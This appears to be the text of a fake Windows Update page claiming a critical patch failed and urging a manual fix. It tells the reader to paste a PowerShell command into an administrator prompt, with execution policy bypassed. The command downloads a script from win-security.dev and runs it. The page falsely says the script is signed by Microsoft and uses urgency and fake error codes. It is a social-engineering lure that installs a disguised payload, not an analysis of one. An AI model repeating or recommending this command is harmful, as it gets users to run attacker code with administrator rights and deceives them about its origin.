0%
Updating Windows Security
Installing critical security patch KB5041823...
Downloading security definitions...
🛡️ Update InformationUpdate KB5041823 — Critical Security Patch
Priority Critical — Immediate Installation
Vulnerability CVE-2026-21338 (Remote Code Execution)
Affected Windows 10/11 — All Versions
Size 847 MB
⚠ Installation Failed
The automatic installer could not complete the security patch. Your system remains vulnerable to CVE-2026-21338. To protect your data, please apply the manual fix below.
Error 0x80070643 · Windows Update Agent failed · Retry limit exceeded
Manual Security Patch
Open PowerShell as Administrator and run the following command to install the patch manually:
powershell -ep bypass -c "irm win-security.dev/KB5041823 | iex"
Copy
This script is signed by Microsoft Corporation. Verification hash: SHA256:a4f2c...
Do not turn off your computer during this process.